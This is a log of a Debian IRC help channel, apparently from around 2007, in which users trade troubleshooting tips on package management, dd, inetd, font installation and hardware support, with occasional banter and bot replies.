| 06:04.35 | kumaran | ...LED green light not glowing). What to do? |
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| 06:09.18 | stray | kumaran: i would start over, but only select a few softwares at one time. |
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| 06:10.02 | kumaran | thanks |
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| 06:13.56 | AaronMT | Anyone have a secondary mirror wit hthe latest weekly-build (http://cdimage.debian.org/cdimage/weekly-builds/i386/iso-dvd/), download is going 10kb/sec |
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| 06:14.07 | sobersabre | hi. Assuming I'd like to install ALL my packages from source on Debian. what's the "standard" way of doing so ? |
| 06:14.28 | sobersabre | I would like to do something like apt-source -b <package> -i |
| 06:14.33 | sobersabre | or something like this. |
| 06:14.36 | sobersabre | is it possible ? |
| 06:14.45 | mhall | Hello all. How can I figure out what file handles a process has open? I think I found an application with a big handle leak but it takes a while to reproduce so I don't want to just kill it ASAP. |
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| 06:16.06 | sobersabre | hmmmm... just ran man apt-src :) :) :) |
| 06:16.15 | sobersabre | it already works that way. |
| 06:16.21 | sobersabre | LOL. |
| 06:16.22 | Sebboh | sobersabre, do you think that you should just make a mirror of one of the debian source repositories? |
| 06:16.51 | Sebboh | wait.. sorry. you said all of YOUR packages. I thought you wanted all debian packages. :) |
| 06:17.27 | sobersabre | Sebboh: I am not actually planning to do so, I was considering the option as an "alternative" to gentoo way of compiling with optimizations. |
| 06:17.48 | Sebboh | sobersabre, obviously. :) |
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| 06:17.54 | sobersabre | but I think there's not much to actually do, all the infrastructure is there. |
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| 06:18.42 | Sebboh | sobersabre, yep. now, I wouldn't be so sure that all of the build scripts are going to instruct the compiler(s) to do all the optimization that is possible. :( |
| 06:18.44 | sobersabre | hm... is there a way to tune up the makefile or is it tuned up quite well anyway ? |
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| 06:19.12 | sobersabre | can't I add some dpkg-buildpackage to add optimizations ? |
| 06:19.13 | ReinH | How do I restart inetd ? I don't have /etc/ini.d/inted |
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| 06:19.35 | sobersabre | ReinH: you can send it SIGHUP |
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| 06:19.44 | ReinH | ah |
| 06:19.46 | sobersabre | kill -HUP <PID> |
| 06:20.11 | sobersabre | and you can write your own inet initialization script too. |
| 06:20.19 | ReinH | ty |
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| 06:20.23 | sobersabre | for invokde-rc.d to find it out. |
| 06:22.02 | sobersabre | ok, bye all |
| 06:22.05 | Varange | hi all. I need to install "convert" but can't figure out which package I should use |
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| 06:22.15 | surrounder | Varange: imagemagick |
| 06:22.25 | Varange | surrounder, thx |
| 06:22.28 | surrounder | np |
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| 06:23.26 | civillian | reinh: try looking for bsd-inetd in /etc/init.d instead for a restart |
| 06:23.33 | civillian | or something like that |
| 06:23.36 | civillian | :) |
| 06:25.18 | CutMeOwnThroat | mhall, lsof, I would guess |
| 06:25.34 | civillian | reinh: etc/init.d/openbsd-inetd restart |
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| 06:26.28 | CutMeOwnThroat | mhall, try "lsof | grep pid"... havent used it much, though |
| 06:27.01 | CutMeOwnThroat | mhall, also look at fuser, which does the lookup the other way around (reports which processes access a certain file) |
| 06:27.03 | indraveni | hi all |
| 06:27.12 | indraveni | i have a sony vaio laptop, and i am not able to use motion eye web cam inbuilt in the sony laptop |
| 06:27.29 | indraveni | i installled all the necesasry drivers |
| 06:27.36 | indraveni | the output for dmesg | grep r5u870 |
| 06:27.56 | indraveni | usbcam: registering driver r5u870 0.10.0 |
| 06:27.56 | indraveni | usbcore: registered new interface driver r5u870 |
| 06:28.04 | indraveni | but my dmesg | grep sony, shows the output something like this, which shows camera - off |
| 06:28.10 | indraveni | sonypi: detected type3 model, verbose = 0, fnkeyinit = off, camera = off, compat = off, mask = 0xffffffff, useinput = on, acpi = on |
| 06:28.16 | indraveni | how can i make my camera=on |
| 06:28.29 | \amethyst | mhall: ls -l /proc/<PID>/fd |
| 06:29.05 | CutMeOwnThroat | Varange, try "apt-file" next time :) (aptitude install apt-file; apt-file update;apt-file search filename) |
| 06:29.14 | Varange | thx |
| 06:29.30 | Zordon | I plan to buy intel 965p Mainboard, E2600 core 2 duo. Will this work with Debian 4.0r1 a64 edition? |
| 06:29.55 | simonrvn | a64? |
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| 06:30.17 | Zordon | simonrvn: sorry, 64 bit edition |
| 06:30.30 | kgoetz | amd64 |
| 06:30.33 | simonrvn | there's 2, and only one will, amd64 |
| 06:31.12 | kgoetz | about 1/3rd of debians arches are 64 bit :) |
| 06:31.25 | simonrvn | (there's actually 4, but one is sparc64 and the other is ppc64) |
| 06:31.28 | Zordon | simonrvn: I was thinking about amd 64 bit, nothing else |
| 06:31.36 | kgoetz | simonrvn: and alpha |
| 06:31.44 | simonrvn | oh yes, forgot |
| 06:31.56 | simonrvn | so 5 =) |
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| 06:32.03 | kgoetz | :) |
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| 06:32.08 | Zordon | simonrvn: I will like to have those, but that is not something that you can easily buy here |
| 06:32.41 | simonrvn | a 'g5' is 64 bit, sparc64 is also $$$, and alphas aren't made anymore |
| 06:32.53 | blahdeblah | Hi. This might be a stupid question, but what does the number after the + in dd's output mean? e.g. 146+7018807 records in 146+7018807 records out |
| 06:33.14 | \amethyst | there's also ia64 |
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| 06:33.23 | Zordon | simonrvn: Yep, I know. There is plenty of CPUs out there are that are 64 bit. It is not the subject |
| 06:33.33 | simonrvn | \amethyst: who cares about that ;) |
| 06:33.51 | kgoetz | lol |
| 06:33.58 | simonrvn | Zordon: and your question was answered, no? so it's ok |
| 06:33.58 | Zordon | Is here any one who used intel 965p chipset on Debian Etch |
| 06:34.10 | \amethyst | blahdeblah: 146 full records and a partial record of size 7018807 |
| 06:34.13 | simonrvn | kgoetz: it was |
| 06:34.29 | kgoetz | :) |
| 06:34.32 | blahdeblah | \amethyst: 7018807 what? |
| 06:34.38 | blahdeblah | Zordon: I'm using a 965G... |
| 06:34.55 | Zordon | blahdeblah: Is it working okey ? |
| 06:35.05 | blahdeblah | \amethyst: It can't be bytes in this case, because my records are only 4 MB. |
| 06:35.20 | blahdeblah | Zordon: Yep - typing this on it right now! :-) |
| 06:35.26 | Zordon | blahdeblah: Sound, and other stuff |
| 06:35.27 | \amethyst | blahdeblah: ah, sorry, I'm wrong. The number after the + is the number of partial blocks |
| 06:35.38 | simonrvn | Zordon: no it wasn't, and 'work', it depends. if you want browser plugins, stick to x86 userspace |
| 06:35.40 | Zordon | blahdeblah: Thanks :) |
| 06:35.49 | \amethyst | blahdeblah: I'm guessing you were dding from something other than a file? |
| 06:36.03 | blahdeblah | \amethyst: Yeah - but what size is a partial block? It's not bytes. I'm dding from a tar pipe to a tape. |
| 06:36.18 | bullgard4 | df shows for /dev/sda7 "available 519712 (kB)", but Gparted "free: 1,04 GiB." How to explain this contradiction? |
| 06:36.25 | Zordon | simonrvn: I will survive without stupid proprietary flash plugin, I will always have GNASH |
| 06:36.29 | \amethyst | blahdeblah: less than 4MB, more than 0 |
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| 06:36.40 | simonrvn | Zordon: same for java, btw |
| 06:36.46 | blahdeblah | \amethyst: Since when was 7 MB < 4 MB? |
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| 06:36.51 | Zordon | simonrvn: No sh**t |
| 06:37.11 | blahdeblah | Zordon: Everything's groovy except for the video and PATA, which i fixed by adding a PCIe card and a SATA DVD drive. |
| 06:37.13 | \amethyst | blahdeblah: no, seven million partial blocks, each somewhere between 0B and your block size (4MB) |
| 06:37.15 | simonrvn | Zordon: ok, so a) chill with the 'tude b) go for 64 b userspace |
| 06:37.28 | ReinH | civillian: ty |
| 06:37.36 | blahdeblah | Zordon: what simonrvn said - i'm using 64-bit etch |
| 06:37.45 | ReinH | civillian: I would have figured that out myself if I had just done a ls /etc/init.d |grep inetd |
| 06:38.12 | blahdeblah | \amethyst: Hmmm... That really sucks - and there's no way to find out which blocks were partial, i'll be. |
| 06:38.14 | blahdeblah | bet |
| 06:38.20 | Zordon | simonrvn: Is Java supported on 64 bit edition, I need it for fax |
| 06:38.31 | simonrvn | ... |
| 06:39.02 | simonrvn | you weren't listening... |
| 06:39.02 | blahdeblah | Zordon: definitely - i'm a Java developer |
| 06:39.02 | saywatmang | I want to modify some an execuateable in some package, so I do apt-get source package_name, then I modify the code, but is there a special way to ./configure it to match the binary that comes w ubuntu? It seems./configure doesn't put things the same place the binary package doe |
| 06:39.23 | blahdeblah | Zordon: Here's my lspci, FWIW: http://rafb.net/p/Xjnold26.html |
| 06:39.29 | saywatmang | crap sorry, meant to say: I want to modify an execuateable in a package, so I do apt-get source package_name, then I modify the code, but is there a special way to ./configure it to so that once compiled and installed it will match the configuration of the binary package? for example, the default ./configure will use a different prefix than the binary package uses... |
| 06:40.03 | Zordon | blahdeblah: thnx |
| 06:40.10 | \amethyst | blahdeblah: if you're DDing from a pipe, you probably want an ibs smaller than 4MB |
| 06:40.23 | Zordon | simonrvn: You sad that java plugin is not supported or what ? |
| 06:40.52 | blahdeblah | \amethyst: Good point |
| 06:41.33 | \amethyst | blahdeblah: you're using just bs= ? |
| 06:41.41 | blahdeblah | Zordon: Oh - i missed the context of that question. Java & Flash inside 64-bit Firefox are pretty much useless. Mostly, that's a good thing (tm). :-) |
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| 06:41.45 | blahdeblah | \amethyst: Yeah |
| 06:42.14 | Zordon | blahdeblah: OK, I get it. I can live with that :) |
| 06:42.19 | \amethyst | blahdeblah: that means it writes each block as soon as it reads it, even if it's partial |
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| 06:43.11 | chronographer | bots NOT people |
| 06:43.41 | \amethyst | blahdeblah: If you set ibs and obs separately, it will try to write full output blocks |
| 06:43.46 | CutMeOwnThroat | nite |
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| 06:43.55 | niru | what does this mean |
| 06:44.03 | Varange | hi all. I've accidentally dropped a MySQL database. Any way to undo that ? |
| 06:44.04 | niru | no video grabber devcie avaialble |
| 06:44.07 | \amethyst | blahdeblah: at least that's what POSIX says; the GNU documentation isn't very good |
| 06:44.08 | blahdeblah | \amethyst: I've been using it for 17 years, and i'm still learning new things about dd. Thanks. ;-) |
| 06:44.09 | niru | motion eye |
| 06:44.34 | blahdeblah | Varange: restore from backup? :-) |
| 06:44.43 | Varange | blahdeblah, lol, yes. |
| 06:45.00 | \amethyst | blahdeblah: also, remember that bs overrides ibs and obs, not the other way around |
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| 06:45.43 | blahdeblah | \amethyst: Yeah - i realise that |
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| 06:46.44 | chronographer | !moo |
| 06:46.44 | dpkg | mooooooo! I am cow, hear me moo, I weigh twice as much as you. I'm a cow, eating grass, methane gas comes out my ass. I'm a cow, you could be too; join us all! type apt-get moo. |
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| 06:47.00 | nhuisman | hey i have a debian box that I want to revert to a base level install, like just bare minimum packages |
| 06:47.05 | nhuisman | I can't reinstall the box |
| 06:47.16 | nhuisman | so I want to use dpkg to delete all the unneeded packages |
| 06:47.20 | kgoetz | nhuisman: try deboster |
| 06:47.22 | chronographer | try apt-get remove * |
| 06:47.23 | kgoetz | *debfoster |
| 06:47.30 | nhuisman | debfoster eh |
| 06:47.36 | nhuisman | what is that?, googling now |
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| 06:47.59 | kgoetz | lets you trim the number of installed packges |
| 06:48.23 | nhuisman | k installing it now, thanks for the tip |
| 06:48.30 | nhuisman | trying to make a bare xen image for debian |
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| 06:51.33 | blahdeblah | nhuisman: debfoster is definitely cool. Try also 'deborphan -a' to give you some hints on what to 'aptitude purge'. |
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| 06:52.03 | nhuisman | so does it just ask you what you want to keep or remove? |
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| 06:52.42 | kgoetz | nhuisman: it goes through all packagtes on your system and asks 'do you want to tkeep this' |
| 06:52.48 | nhuisman | hmm |
| 06:52.51 | kgoetz | if you say 'yes', it keeps the package and its dependancies |
| 06:52.53 | nhuisman | so how do I know what a base install it |
| 06:53.11 | nhuisman | if I remove everything, that's a base? |
| 06:53.34 | kgoetz | libc + kernel would be a godo start ;) |
| 06:54.53 | chronographer | HEy I have a problem installing msttcorefonts. I get errors about connection timed out connecting to sourceforge. |
| 06:55.11 | kgoetz | chronographer: try again later |
| 06:55.22 | chronographer | I have been for a week or so |
| 06:55.44 | chronographer | if i use the link that timed out in the terminal in firefox I can dl the fonts easy |
| 06:56.01 | chronographer | It has something to do with wget permissions in the script being wrong I think |
| 06:56.03 | kgoetz | any proxy issues? |
| 06:56.11 | chronographer | nope I don't use proxes |
| 06:56.15 | Sebboh | maybe an ipv6 issue? |
| 06:56.22 | chronographer | i got it disabled.... |
| 06:56.26 | chronographer | blacklisted |
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| 06:58.14 | civillian | chronographer: mine worked fine a few hours ago |
| 06:58.16 | chronographer | this is the terminal business http://pastebin.com/d1442b4eb |
| 06:59.21 | chronographer | um.. sorry i know its the wrong room but i use ubuntu gutsy.. I read in a forum that debian testing had similar probs, but they didn't have a resolution. And ubuntu IRC ppl are generally no help (unlike #debian where all the pro's live) |
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| 06:59.47 | chronographer | =-) |
| 07:00.11 | kgoetz | imo its an sf.net issue, so you can sk wherever you like, but they wont be able to help much |
| 07:00.26 | chronographer | ok sure. |
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| 07:01.06 | Sebboh | what is sk? |
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| 07:01.12 | chronographer | thanks anyway, I was kinda hoping someone else had the same problem and had fixed it.. |
| 07:01.16 | chronographer | 'ask" ?? |
| 07:01.25 | civillian | chronographer: what does nslookup surfnet.dl.sourceforge.net yeild? |
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| 07:01.48 | chronographer | Non-authoritative answer: |
| 07:01.49 | Sebboh | chronographer, set /etc/hosts host for the download to localhost, then create that directory/file on your local httpd |
| 07:02.24 | chronographer | I don't understand |
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| 07:03.17 | civillian | chronographer: so it was able to resolve ok? |
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| 07:03.35 | chronographer | Non-authoritative answer: |
| 07:03.35 | chronographer | Name: surfnet.dl.sourceforge.net |
| 07:03.35 | chronographer | Address: 130.59.138.20 |
| 07:03.36 | dimir | Moin! |
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| 07:03.41 | chronographer | I think that means yes |
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| 07:03.46 | civillian | yes |
| 07:04.07 | civillian | now try this: wget http://surfnet.dl.sourceforge.net/sourceforge/corefonts/andale32.exe |
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| 07:05.08 | chronographer | that works |
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| 07:05.24 | chronographer | took a while tho... maybe the script doesn't wait long enough? |
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| 07:05.41 | civillian | maybe... you're only waiting 10 secs per download |
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| 07:05.57 | chronographer | is it something i can change manually? |
| 07:06.06 | civillian | hmm |
| 07:06.20 | simonrvn | !msttcorefonts |
| 07:06.20 | dpkg | it has been said that msttcorefonts is add contrib (ask me about it) to sources and install the package. Or go to http://corefonts.sourceforge.net |
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| 07:07.16 | chronographer | the deb package is broken, and I can't remove it (it tries to dl and times out) and It wonmt install (same problem) |
| 07:07.18 | JdGordon | hey, how do i get debian installing on a laptop with no floppy/cdrom and cant net/usb boot? i can take the hard disk out and stick it in a nother computer though |
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| 07:07.36 | civillian | chronographer: try a google of wgetrc |
| 07:07.44 | civillian | it might have an option to configure timeouts |
| 07:07.58 | xand | JdGordon: that should work |
| 07:07.59 | civillian | i think you can put wgetrc in your home as .wgetrc |
| 07:07.59 | kgoetz | chronographer: you could dpkg -r msttcorefonts |
| 07:08.32 | JdGordon | xand: ? how? |
| 07:08.35 | nhuisman | is there a way to use wildcards with dpkg? |
| 07:08.36 | chronographer | it tries to start downloading before it removes it |
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| 07:08.39 | nhuisman | like for removing packages |
| 07:08.43 | kgoetz | nhuisman: yes |
| 07:08.46 | Sebboh | how do I properly represent a character like 0x1b in a sed script? like, s/<thatCharHere>/ / ? |
| 07:08.46 | chronographer | and times out |
| 07:08.59 | cafuego | What's the tool thats cans disks for partition signatures and so attempts to reconstruct a partition map? |
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| 07:09.40 | kgoetz | Sebboh: try #sed, probably a luckier place ;) |
| 07:10.07 | nhuisman | kgoetz: how does it work? |
| 07:10.15 | nhuisman | kgoetz: I tried dpkg --purge xf* |
| 07:10.25 | cafuego | 0x1b is just \12 isn't it? |
| 07:10.30 | civillian | chronographer: not much in wgetrc, and i'm off home now. all the best |
| 07:10.40 | chronographer | Do you think this is only between connections or for ?? "# It can be useful to make Wget wait between connections. Set" |
| 07:10.51 | chronographer | yeah Thanks anyway civilian |
| 07:11.16 | Sebboh | ... cafuego, uh.. \1 is something special. :P it's probaby supposed to be \x1b or something? I dunno |
| 07:11.25 | kgoetz | nhuisman: and it didnt work? i thought it id ;| |
| 07:11.34 | nhuisman | nope |
| 07:11.37 | xand | JdGordon: put it in another machien as the main drive, install debian, put it back in laptop |
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| 07:12.45 | JdGordon | xand: tried that, get a grub endless booting loop |
| 07:13.30 | \amethyst | cafuego: in what language? |
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| 07:14.54 | cafuego | \amethyst: Just on the shell, i thought |
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| 07:15.25 | cafuego | which is clearly not correct |
| 07:16.28 | \amethyst | cafuego: inside $' ' you can use \033, \x1b, or \e |
| 07:16.32 | \amethyst | in bash |
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| 07:21.38 | RvGaTe^work | morning |
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| 07:31.33 | RvGaTe^work | hey guys, im trying to setup a pxe server (using http://www.debian-administration.org/articles/478).... everything works fine, im geting a boot menu and i can load different kernels to boot from... but what i want is to boot from a .iso file somewhere on the network... as far as i know, its only possible to boot linux kernels with this setup... so i'm wondering if there is a kernel somewhere that can load a givin .iso file somewhere on the network (perfe |
| 07:31.33 | RvGaTe^work | r using the boot menu to give parameters for location and .iso file to boot) |
| 07:32.03 | Sebboh | what the crap. Is there a 'which' for windows vista? That might already be installed? |
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| 07:32.20 | wam | Hi, is drbd still state-of-the-art to replicate a full disk to another server? |
| 07:32.37 | geo-rge | debian etch has xen 3.0.3 built into 2.6.18-5 (many arches)... I would like a kernel of the same version with xen 3.1 |
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| 07:35.31 | cydork | wam: think of drbd as a raid-1 over network. if you just want to replicate something use something based on rsync. |
| 07:35.48 | wam | cydork: rsync is too slow for me. I need live-replication. |
| 07:35.57 | cydork | wam: then drbd is for you. |
| 07:36.21 | wam | cydork: cool. And since 0.8 I can mount both parts r/w with GFS ;) |
| 07:37.00 | cydork | wam: true :) |
| 07:37.06 | wam | cydork: thanks |
| 07:37.24 | indraveni | how can i make my xawtv to use v4l instead of v4l2 |
| 07:37.37 | popt | can I run a command like dpkg -? to know what files this package include? |
| 07:37.39 | tt | How do I open the third browser in w3m? C+m is the second one but the third? |
| 07:38.01 | cydork | popt: man dpkg; look for -L |
| 07:38.05 | popt | I mean a package I haven't install yet |
| 07:38.14 | popt | I want install xv |
| 07:38.15 | geo-rge | popt: dpkg --help to see the tricks |
| 07:38.15 | cydork | popt: then use apt-file or pdo |
| 07:38.31 | popt | an app to view image on *nix |
| 07:38.53 | popt | but Im not sure which pkg contains this program |
| 07:39.29 | popt | cydork, apt-file or pdo? |
| 07:39.35 | geo-rge | popt: try packages.debian.org; apt-file is cool but to a degree unwieldy |
| 07:39.46 | cydork | popt: that is packages.debin.org |
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| 07:40.20 | popt | pdo is abbre for packages.debin.org, not a command right |
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| 07:40.32 | cydork | popt: yep. |
| 07:40.40 | ma3x | I've set mencoder 'renice 19' and when I play something else with mplayer it's very slow!!! |
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| 07:41.19 | Sebboh | ma3x, are you trying to give mencoder more cpu or less? |
| 07:41.43 | Sebboh | less would be -19 if I recall correctly. Less nice, eh! |
| 07:41.49 | popt | cydork, apt-file is not neither |
| 07:41.55 | ma3x | Sebboh, less of course, so that I can play something else with mplayer |
| 07:42.10 | ma3x | Sebboh, less cpu should be +19 |
| 07:42.22 | Sebboh | sorry, sorry, less nice = more cpu. And you got it right. my last statement had a typo, but the first and this one do not. |
| 07:42.41 | cydork | popt: apt-file is a package. check /msg dpkg apt-file |
| 07:43.01 | popt | right, checking |
| 07:43.03 | ma3x | why then i cant play anything else with mplayer |
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| 07:43.44 | popt | curious about one thing, cydork , how can you post <a href=''> link in IRC |
| 07:43.53 | GNU\colossus | I need to re-run the debconf dialouges for most of the things that are set up during installation (timezone, location, language/locales, etc.) - what's the appropriate command for thet kind of thing? |
| 07:43.55 | popt | like this -> <cydork> popt: that is packages.debin.org |
| 07:44.09 | popt | packages.debin.org is a link |
| 07:44.16 | popt | not http:// |
| 07:44.39 | Sebboh | sorry dunno, ma3x. I can recommend a program like atop, though, to see what is maxing out: if it's not cpu, then, that's part of your answer. I dunno how to observe video card performance statistics though |
| 07:44.48 | cydork | popt: your client sees that as link. no need for href |
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| 07:45.19 | Sebboh | popt, those don't look like links to me. |
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| 07:46.10 | popt | so you just typed "packages.debin.org", and these 3 words turn into link auto...? |
| 07:46.29 | popt | sounds a IRC script |
| 07:46.41 | popt | an IRC perl .. |
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| 07:46.52 | cydork | popt: it all depends on your client! |
| 07:46.54 | ma3x | sorry got disconnected |
| 07:47.06 | ma3x | Sebboh, did you say somthing? |
| 07:47.32 | popt | i see |
| 07:47.36 | Sebboh | doesn't have to be perl, sure. Your client can do whatever magic it wants to do, but irc is just a textstream. Ok, there are a FEW non-printing characters, for CTCPs, colors, bold, etc. |
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| 07:47.43 | Sebboh | sorry dunno, ma3x. I can recommend a program like atop, though, to see what is maxing out: if it's not cpu, then, that's part of your answer. I dunno how to observe video card performance statistics though |
| 07:47.49 | Sebboh | that's all ma3x. :( |
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| 07:48.26 | popt | thanks, cydork |
| 07:48.54 | GNU\colossus | is there a workalike for `base-config` in etch? |
| 07:49.14 | cydork | GNU\colossus: nope |
| 07:49.24 | cydork | !base-config |
| 07:49.25 | dpkg | [base-config] something to run to configure your base install and is obsolete in etch, see http://lists.debian.org/debian-boot/2005/12/msg00259.html for status and see http://d-i.alioth.debian.org/manual/en.i386/apds03.html#id302610 for manual setup instructions |
| 07:50.54 | GNU\colossus | cydork: I'm preparing a virtual machine image of debian for a web application, and need to have users set up a few things themselves (locales, timeones, etc.) - can you (or anyone else listening) recommend me an easy way to do so? |
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| 07:51.13 | GNU\colossus | timezones* |
| 07:51.28 | vaq | GNU\colossus: create a bash script with dpkg-reconfigure locales etc and so on. |
| 07:52.00 | GNU\colossus | vaq: I'm already writing such a script, but how do I guess which dpkgs I need to reconfigure? :) |
| 07:53.07 | cydork | GNU\colossus: dpkg-reconfigure locales for locales and use tzconfig for time. |
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| 08:00.43 | dotz | hi a question on umask.... i can only calculate what is my umask by directory's permission? eg 111 101 101 for directory = umask 022.. can i calculate my umask by file's permission? eg: 110 100 100 = umask ??? |
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| 08:01.18 | nhuisman | hey kgoetz does debfoster purge packages? |
| 08:01.21 | nhuisman | or just remove them |
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| 08:04.06 | geo-rge | automatically purging seems extreme |
| 08:04.10 | torrr | which html editor is best in linux? |
| 08:04.18 | geo-rge | nano |
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| 08:04.50 | nhuisman | say I have two files, one with a list of items I want to keep, and another file of packages that includes the packages I want to keep + unwanted items |
| 08:04.53 | geo-rge | or, cat, head, tail, echo |
| 08:05.04 | nhuisman | is there a way to use diff to make a list of all the items in the second list that aren't in the first list? |
| 08:05.07 | nhuisman | ie intersection |
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| 08:05.43 | geo-rge | I guess I'd sort both files, |
| 08:06.00 | nhuisman | yeah they are sorted |
| 08:06.01 | nhuisman | by name |
| 08:06.02 | svecias | How to force to uninstall IMPORTANT? packages? |
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| 08:07.31 | geo-rge | svecias: you mean uninstall those and packages that depend on them. right? |
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| 08:08.03 | svecias | geo-rge: Something like this |
| 08:08.37 | svecias | geo-rge: I have sysvutils that I want to uninstall |
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| 08:09.05 | geo-rge | I'd get a list of all such packages installed on your machine and feed that list to dpkg -r |
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| 08:09.09 | tengulre | hi,al |
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| 08:09.22 | tengulre | when I complie a new kernel , I got /usr/sbin/mkinitrd: add_modules_dep_2_5: modprobe failed, what's wrong?? |
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| 08:10.26 | geo-rge | svecias: I'm going to assume that you know they're attributed as "important" for a reason and that you know what you're doing AND THAT YOU HAVE ALREADY MADE A BACKUP. |
| 08:10.51 | svecias | geo-rge: Yes, i know |
| 08:11.06 | svecias | I am making ubuntu2debian migration |
| 08:11.20 | geo-rge | fine... get the list of packages and feed that list to dpkg -r |
| 08:11.45 | svecias | dpkg -r does'nt remove sysvutils |
| 08:11.59 | geo-rge | why? |
| 08:12.00 | svecias | Says that it system important file |
| 08:12.27 | geo-rge | remember my assumption that you know what you're doing... |
| 08:12.37 | geo-rge | I trust you to find out why and deal with this |
| 08:13.07 | svecias | I know |
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| 08:13.22 | svecias | I have almost nothing to lose :) |
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| 08:14.19 | RvGaTe^work | svecias, if you have nothing to loose... why not just start over and end up with a clean debian system? just suggestion... |
| 08:14.22 | geo-rge | yaknowsomething... I just need to ask you, what is it you're trying to do? |
| 08:14.40 | svecias | RvGaTe^work: It isn't interesting :). I need knowledge :) |
| 08:15.05 | svecias | RvGaTe^work: Linux is about fixing stuff, not just reinstalling it :) |
| 08:15.28 | svecias | RvGaTe^work: it's a windows way to reinstall :) |
| 08:15.29 | RvGaTe^work | svecias, well, a ubuntu -> debian is simple... update your sources.lst, and replace all the packages with the debian one.. |
| 08:15.36 | svecias | I did this |
| 08:15.55 | svecias | Now I am trying to update packages |
| 08:15.55 | popt | I look up pdo for xv, only find xzgv |
| 08:16.33 | popt | who use xv to view .jpg image? |
| 08:16.47 | popt | is it a pkg available to debian |
| 08:16.53 | geo-rge | say I have an amd64 system |
| 08:16.58 | Guerin | !xv |
| 08:16.58 | dpkg | extra, extra, read all about it, xv is at http://www.trilon.com/xv/index.html or http://www1.apt-get.org/search.php?query=xv%24 - very popular but NON-FREE image viewer, many formats, thumbnails. Also, the X-Video extension, try 'xvinfo' to see what your videocard is capable of (XFree86 >= 4.0.2 needed), ask me about qiv, or use the 'display' and 'import' and 'convert' programs from imagemagick |
| 08:17.10 | popt | !xv? |
| 08:17.10 | dpkg | i heard xv is at http://www.trilon.com/xv/index.html or http://www1.apt-get.org/search.php?query=xv%24 - very popular but NON-FREE image viewer, many formats, thumbnails. Also, the X-Video extension, try 'xvinfo' to see what your videocard is capable of (XFree86 >= 4.0.2 needed), ask me about qiv, or use the 'display' and 'import' and 'convert' programs from imagemagick |
| 08:17.14 | Gokee2 | RvGaTe^work, Don`t you end up with a debian system with all the ubuntu config then? What about the problem with ubuntu packages being newer for the most part won`t some (a lot?) or programs choke on a newer config then is made for them? |
| 08:17.16 | Guerin | popt: xv's authors are stupid. |
| 08:17.27 | Gokee2 | of* |
| 08:17.28 | geo-rge | could I install an i386 kernel that has support for amd64 binaries/libs? |
| 08:17.37 | popt | why said so? |
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| 08:17.40 | svecias | Gokee2: True :) |
| 08:17.54 | Guerin | popt: because they use a stupid license. |
| 08:17.55 | popt | ppl can write good app are smart in my view |
| 08:18.24 | svecias | Success :) |
| 08:18.25 | svecias | dpkg -r --force-all sysvutils |
| 08:18.27 | geo-rge | who uses this stupid license? |
| 08:18.31 | svecias | Did the thing :) |
| 08:18.52 | Guerin | geo-rge: stupid is as stupid does. |
| 08:19.01 | Gokee2 | That seems like its going to be one messed up system |
| 08:19.11 | svecias | no :) |
| 08:19.21 | stefano | hello everybody. i need some help, please: i'd need some kind of light http proxy that redirects connections inside the internal network basing its decisions using the name used. For example: "http://host1.e.e" goes to 192.168.1.1, "host2.e.e" to 192.168.1.2, and it should be running on a single public ip. Any idea? (debian etch server) |
| 08:19.22 | Gokee2 | I used knoppix for a while and that was messed up enough for me |
| 08:19.33 | svecias | I just updated initscripts and sysvinit-utils :) |
| 08:19.38 | torrr | is there an html editor on linux that lets you jump from a place in the presentation to that same place on the text file? |
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| 08:20.19 | Gokee2 | torrr, quanta |
| 08:20.26 | vaq | stefano: Use DNS forwarding/nat |
| 08:20.54 | |bb7| | hi we have a bunch of debian maschines, all on debian stable, kernel 2.6.17.2, some of them have mountet a devshm, and some tmpfs |
| 08:21.09 | Guerin | geo-rge: thanks, I already have a life. |
| 08:21.18 | |bb7| | why are they different |
| 08:21.28 | geo-rge | now you have something that is like life |
| 08:21.55 | stefano | vaq: mmm...the matter is this: all those host would point to a single public ip and then, on the proxy machine, they should be redirected to different virtual machines |
| 08:22.13 | stefano | vaq: using DNS i think i'd need different public ips |
| 08:22.15 | Guerin | geo-rge: lifelike chocolates? |
| 08:22.19 | RvGaTe^work | Gokee2, i tried doing a ubuntu -> debian once, and it all worked fine with the thing i mentioned... dont know if it still works that way with version compatibility etc... not sure... it worked for me back then.. (never doing it again tho) |
| 08:22.29 | Guerin | geo-rge: i once bought my wife a quite lifelike chocolate cock |
| 08:22.34 | Gokee2 | Hmm I see |
| 08:23.52 | geo-rge | but wait wait, I'm curious about this license... but that's not important... I'm trygint to see if I can get out of amd64 install and back to i386 |
| 08:23.57 | Gokee2 | If you install a package when first installing debian rather then doing it all yourself do you get a envirment that does stuff for you? Like automounting and stuff? |
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| 08:24.19 | Gokee2 | By package I mean like the Desktop envirment thing |
| 08:24.45 | geo-rge | I've decided the debian amd64 install, while impressive, isn't what I wanted |
| 08:24.50 | |bb7| | wyh do some debians have a tmpfs and some a devshm ? |
| 08:25.21 | geo-rge | that's what /etc/fstab said? |
| 08:25.38 | stefano | vaq: i think i'd need some kind of reverse proxy, but have no clue on which one to choose and/or to set it up in this particular situation |
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| 08:26.22 | |bb7| | no /etc/mtab |
| 08:26.34 | |bb7| | test |
| 08:26.55 | svecias | How to find packages which is depended on specific one? |
| 08:27.13 | |bb7| | fstab says nothing about tmpfs or devshm |
| 08:27.29 | geo-rge | svecias: you |
| 08:27.40 | geo-rge | would have to read the Packages file |
| 08:27.48 | geo-rge | and construct a dep graph |
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| 08:28.23 | svecias | geo-rge: Where is that file? |
| 08:28.24 | geo-rge | maybe put it in a hash file so you can... umm... what's the word for reuse... OH!... reuse it! |
| 08:28.43 | geo-rge | <PROTECTED> |
| 08:28.46 | geo-rge | somewhere |
| 08:28.53 | svecias | It can't be there |
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| 08:29.03 | svecias | It must be something with dpkg |
| 08:29.15 | geo-rge | <PROTECTED> |
| 08:29.45 | geo-rge | here, there is a dpkg man page :) |
| 08:29.52 | geo-rge | and it DOES have a FILES section :) |
| 08:29.57 | nhuisman | if I have two text files: first text file contains a list of words, second file contains another list of words. I want to do a difference and get a result that is all the words that are in the second file but not in the first file. |
| 08:30.13 | svecias | thanks |
| 08:30.48 | geo-rge | np... note that not all answers are expressable on irc |
| 08:31.02 | nhuisman | anyone got any hints on what commands can help me? |
| 08:31.39 | Gokee2 | nhuisman, diff? |
| 08:31.55 | nhuisman | yeah but how do you use it to only output the list |
| 08:32.00 | nhuisman | instead of the normal diff output |
| 08:32.17 | geo-rge | with other commands :) |
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| 08:32.31 | nhuisman | yeah that's what i'm looking for |
| 08:32.32 | Gokee2 | And pipes :) |
| 08:32.52 | geo-rge | also btw, diff has several output forms |
